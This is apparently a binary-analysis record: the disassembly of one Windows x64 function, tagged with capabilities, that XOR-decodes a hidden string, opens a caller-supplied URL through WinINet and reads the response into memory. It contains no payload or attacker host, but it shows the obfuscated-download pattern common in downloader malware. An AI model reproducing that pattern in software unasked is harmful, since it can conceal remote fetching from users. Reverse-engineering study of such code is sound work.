Function at 0x140026770
Capabilities:
Create http request
Encode data using xor
Read data from internet
Receive data

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x7d0]
sub rsp, 0x8d0
movaps xmmword [rsp + 0x8c0], xmm6
mov rax, qword [0x14005d010]
xor rax, rsp
mov qword [rbp + 0x7b0], rax
mov rsi, rdx
mov r12, rcx
mov qword [rbp - 0x50], rcx
mov qword [rbp - 0x58], rdx
mov dword [rbp - 0x50], 1
movsd xmm0, qword [0x14004bcd0]
movsd qword [rsp + 0x38], xmm0
mov eax, dword [0x14004bcd8]
mov dword [rsp + 0x40], eax
xor edi, edi
cmp byte [0x14004bcdb], dil
je 0x140026953
mov r8d, edi
cmp dword [0x14005d018], 2
jl 0x140026906
movdqa xmm4, xmmword [0x1400569e0]
mov eax, 5
movd xmm6, eax
mov eax, 0x1f
movd xmm5, eax
movdqa xmm2, xmmword [0x1400568f0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140056940]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140056970]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x1400569a0]
movd xmm0, dword [0x14004bcd0]
xorps xmm2, xmm0
movd dword [rsp + 0x38], xmm2
movdqa xmm3, xmmword [0x140056900]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140056940]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140056970]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x1400569a0]
movd xmm0, dword [rsp + 0x3c]
xorps xmm2, xmm0
movd dword [rsp + 0x3c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rsp + 0x38]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x140026920
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 1]
lea rcx, [rsp + 0x38]
call qword [sym.imp.WININET.dll_InternetOpenA]
mov r13, rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x48], xmm0
mov rbx, rdi
mov qword [rbp - 0x38], rbx
mov r14d, 0xf
mov qword [rbp - 0x30], r14
mov byte [rbp - 0x48], bl
test rax, rax
je 0x140026c1d
mov rdx, rsi
cmp qword [rsi + 0x18], 0x10
jb 0x1400269a0
mov rdx, qword [rsi]
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
mov rcx, r13
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov r15, rax
test rax, rax
je 0x140026c1d
nop dword [rax]
nop dword [rax + rax]
lea r9, [rbp - 0x50]
mov r8d, 0x7d0
lea rdx, [rbp - 0x20]
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetReadFile]
mov edi, dword [rbp - 0x50]
mov rax, r14
sub rax, rbx
cmp rdi, rax
ja 0x140026a22
lea rax, [rbx + rdi]
mov qword [rbp - 0x38], rax
lea rax, [rbp - 0x48]
cmp r14, 0x10
cmovae rax, qword [rbp - 0x48]
add rbx, rax
mov r8d, edi
lea rdx, [rbp - 0x20]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + rdi], 0
jmp 0x140026a37
mov qword [rsp + 0x20], rdi
lea r9, [rbp - 0x20]
mov rdx, rdi
lea rcx, [rbp - 0x48]
call fcn.140029200
xor edx, edx
mov r8d, 0x7d0
lea rcx, [rbp - 0x20]
call sub.VCRUNTIME140.dll_memset
cmp dword [rbp - 0x50], 0
je 0x140026a5b
mov r14, qword [rbp - 0x30]
mov rbx, qword [rbp - 0x38]
jmp 0x1400269d0
mov rcx, r13
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x78], xmm1
mov r8d, 2
lea rdx, [0x14004bbd8]
lea rcx, [rsp + 0x68]
call fcn.1400293b0
nop
movzx eax, word [0x14004bd08]
mov word [rsp + 0x30], ax
movzx eax, byte [0x14004bd0a]
mov byte [rsp + 0x30], 0x7c
xor byte [rsp + 0x31], 0x37
xor al, 0x38
mov byte [rsp + 0x32], al
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x58], xmm1
lea rax, [rsp + 0x30]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140026ad6
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x48]
call fcn.1400293b0
nop
lea rdx, [rbp - 0x48]
lea rcx, [rbp - 0x78]
call fcn.140028ad0
lea r9, [rsp + 0x68]
lea r8, [rsp + 0x48]
mov rdx, rax
mov rcx, r12
call fcn.140026640
nop
mov rdx, qword [rsp + 0x60]
cmp rdx, 0x10
jb 0x140026b54
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140026b4e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140026b4e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140047d80
nop
mov rdx, qword [rbp - 0x80]
cmp rdx, 0x10
jb 0x140026b94
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140026b8e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140026b8e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140047d80
nop
mov rdx, qword [rbp - 0x30]
cmp rdx, 0x10
jb 0x140026bd3
inc rdx
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140026bcd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140026bcd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140047d80
nop
mov rdx, qword [rsi + 0x18]
cmp rdx, 0x10
jb 0x140026c09
inc rdx
mov rcx, qword [rsi]
cmp rdx, 0x1000
jb 0x140026c04
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140026c16
mov rcx, r8
call fcn.140047d80
mov qword [rsi + 0x10], 0
jmp 0x140026dc7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov rcx, r13
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x58], xmm1
mov r8d, 2
lea rdx, [0x14004bbd8]
lea rcx, [rsp + 0x48]
call fcn.1400293b0
nop
movzx eax, word [0x14004bd08]
mov word [rsp + 0x30], ax
movzx eax, byte [0x14004bd0a]
mov byte [rsp + 0x30], 0x7c
xor byte [rsp + 0x31], 0x37
xor al, 0x38
mov byte [rsp + 0x32], al
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x78], xmm1
lea rax, [rsp + 0x30]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], 0
jne 0x140026c90
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x68]
call fcn.1400293b0
nop
lea rdx, [rbp - 0x48]
lea rcx, [rbp - 0x78]
call fcn.140028ad0
lea r9, [rsp + 0x48]
lea r8, [rsp + 0x68]
mov rdx, rax
mov rcx, r12
call fcn.140026640
nop
mov rdx, qword [rbp - 0x80]
cmp rdx, 0x10
jb 0x140026d0d
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140026d07
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140026d07
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140047d80
nop
mov rdx, qword [rsp + 0x60]
cmp rdx, 0x10
jb 0x140026d4e
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140026d48
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140026d48
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140047d80
nop
mov rdx, qword [rbp - 0x30]
cmp rdx, 0x10
jb 0x140026d8d
inc rdx
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140026d87
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140026d87
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140047d80
nop
mov rdx, qword [rsi + 0x18]
cmp rdx, 0x10
jb 0x140026dc3
inc rdx
mov rcx, qword [rsi]
cmp rdx, 0x1000
jb 0x140026dbe
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140026e07
mov rcx, r8
call fcn.140047d80
mov qword [rsi + 0x10], rdi
mov rax, r12
mov byte [rsi], 0
mov qword [rsi + 0x18], 0xf
mov rcx, qword [rbp + 0x7b0]
xor rcx, rsp
call fcn.140047ac0
mov rbx, qword [rsp + 0x920]
movaps xmm6, xmmword [rsp + 0x8c0]
add rsp, 0x8d0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3